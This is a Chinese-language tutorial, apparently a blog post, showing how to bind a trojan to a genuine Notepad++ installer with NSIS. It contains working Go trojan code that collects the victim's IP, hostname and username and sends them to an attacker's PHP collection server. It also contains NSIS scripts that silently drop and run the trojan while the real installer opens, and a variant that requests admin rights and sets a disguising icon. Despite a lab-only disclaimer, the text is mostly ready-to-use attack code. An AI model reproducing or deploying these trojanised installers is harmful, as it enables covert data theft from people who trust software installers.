请注意,本文只介绍工具的使用,不介绍真正的木马技术。只介绍如何将一个普通的木马程序捆绑到一个正常的 exe 程序上去。本文不讨论免杀等内容。仅供学习交流,请勿用于违法用途。
准备模拟环境
由于条件有限我这里只准备了两台机器,一台 MAC IP 是 192.168.67.201,模拟攻击者的云端服务器。一台 Windows 10 机器 IP 是 10.211.55.3,模拟受害者的机器。
因为是实验所以木马的功能非常简单,就是获取 ip、主机名这些信息,然后发给服务器端就行了。
服务器环境
首先我们先准备一下服务器上的代码,用 PHP 简单写了一个接收木马发来的信息的代码。
<?php
$info = empty($_GET['info']) ? "" : $_GET['info'];
if($info==""){
# 查看数据
echo file_get_contents("info.txt");
}else{
# 获取数据
file_put_contents("info.txt", $info."<br/>", FILE_APPEND);
echo "OK";
}
然后用默认的 PHP 服务器开启 web 服务就行了:
% php -S 0.0.0.0:8888
简单尝试一下,可以正常工作了。
编写木马
然后我们 使用 GO 语言,编写一个简单的木马程序,来获取受害者的信息。
package main
import (
"bytes"
"fmt"
"net"
"net/http"
"net/url"
"os"
"os/exec"
"time"
)
func getLocalIP() (ipv4 string) {
// 获取所有网卡
adds, _ := net.InterfaceAddrs()
// 取第一个非 lo 的网卡IP
for _, addr := range adds {
// 这个网络地址是IP地址: ipv4, ipv6
ipNet, isIpNet := addr.(*net.IPNet)
if isIpNet && !ipNet.IP.IsLoopback() {
// 跳过IPV6
if ipNet.IP.To4() != nil {
ipv4 = ipNet.IP.String() // 192.168.1.1
return
}
}
}
return
}
func main() {
ipv4 := getLocalIP()
name, _ := os.Hostname()
now := time.Now()
timeNow := now.Format("2006-01-02 15:04:05")
cmd := exec.Command("whoami")
// 执行命令并获取输出
var out bytes.Buffer
cmd.Stdout = &out
err := cmd.Run()
if err != nil {
return
}
info := fmt.Sprintf("受害者 ipv4 is: %s, hostname is: %s, time: %s, user: %s", ipv4, name, timeNow, out.String())
// 指定基础URL
baseURL := "http://192.168.67.201:8888/index.php"
// 创建一个Values映射来存储查询参数
params := url.Values{}
params.Add("info", info)
// 将查询参数编码为查询字符串
query := params.Encode()
// 构建完整的URL(基础URL + 查询字符串)
urlWithQuery := baseURL + "?" + query
resp, _ := http.Get(urlWithQuery)
if resp.Status == "200" {
return
}
err = resp.Body.Close()
if err != nil {
return
}
}
简单运行,发现可以发送机器信息
考虑到系统和 CPU 架构的问题,我直接把代码放到 windows 10 上去编译成 exe 木马。
点击运行了一下,确实可以上传数据,没啥问题。
准备待寄生的 exe 和 NSIS 工具
这个看具体情况,我就有啥用啥了。刚好有一个 notepad++ 的安装包,那就选这个吧。
然后去下载 NSIS 工具 nsis.sourceforge.io/Download 然后先安装,考虑到系统的不同,我也直接安装在 windows 10 上了
接下来就可以编写打包脚本了,NSIS 支持的功能是比较多的。除了执行exe之外也还可以捆绑别的东西,比如 docx,也可以进行命令执行,比如 powershell 等命令。
我这里使用 VSCODE 编写脚本,可以安装 NSIS 插件,来高亮显示什么的。
!使用的时候请删除中文否则会出错
; 设置编译结果的输出文件
OutFile "npp.8.6.5.Installer.x64.exe"
!include "FileFunc.nsh"
; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent
; 初始化脚本
; 安装程序开始执行之前完成的任务
Function .onInit
FunctionEnd
; 开始安装步骤1,将"TestShell.exe"复制到"$TEMP\TestShell"
Section "Section1" SEC01
; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
SetOutPath "$TEMP\TestShell"
; 指定安装包在打包时要包含进那些文件,安装时会将"TestShell.exe"释放到"$TEMP\TestShell"
File "TestShell.exe"
SectionEnd
; 开始安装步骤2,将"npp.8.6.5.Installer.x64.exe"复制到"$TEMP\npp865"
Section "Section2" SEC02
SetOutPath "$TEMP\npp865"
File "npp.8.6.5.Installer.x64.exe"
SectionEnd
; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
Exec "$TEMP\TestShell\TestShell.exe"
Exec "$TEMP\npp865\npp.8.6.5.Installer.x64.exe"
FunctionEnd
木马寄生
把三个东西放到一个文件夹里面去,然后运行 NSIS 的 Compile NSI scripts 的功能,然后选择 File --> Load Script 功能
可以看到,已经生成成功了。我们们运行试试
OK,正常打开 Notepad++ 的安装界面,而且也正常运行我们的木马,获取到用户的信息了。
其他扩展功能
NSIS 的功能可不止这么简单,还有很多其他的能力。这里参考 saucer-man 师傅的脚本,和官方文档
; 设置编译结果的输出文件
OutFile "安装包.exe"
; 设置exe的图标
Icon "1.ico"
; 直接请求uac 提权
RequestExecutionLevel admin
!include "FileFunc.nsh"
; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent
; 初始化脚本
; 安装程序开始执行之前完成的任务
; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多
Function .onInit
FunctionEnd
; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"
Section "Section1" SEC01
; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
SetOutPath "$TEMP\xxxxx"
; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"
File "木马.exe"
SectionEnd
; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"
Section "Section2" SEC02
SetOutPath "$TEMP\xxxx2"
File "正常文件.exe"
SectionEnd
; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
Exec "$TEMP\xxxxx\木马.exe"
Exec "$TEMP\xxxx2\正常文件.exe
; 打开文档可以用下面的命令
; ExecShell open "$TEMP\测试文档.docx"
FunctionEnd
提取应用的图标,可以使用BeCyIconGrabberPortable工具jarlpenguin.github.io/BeCyIconGra…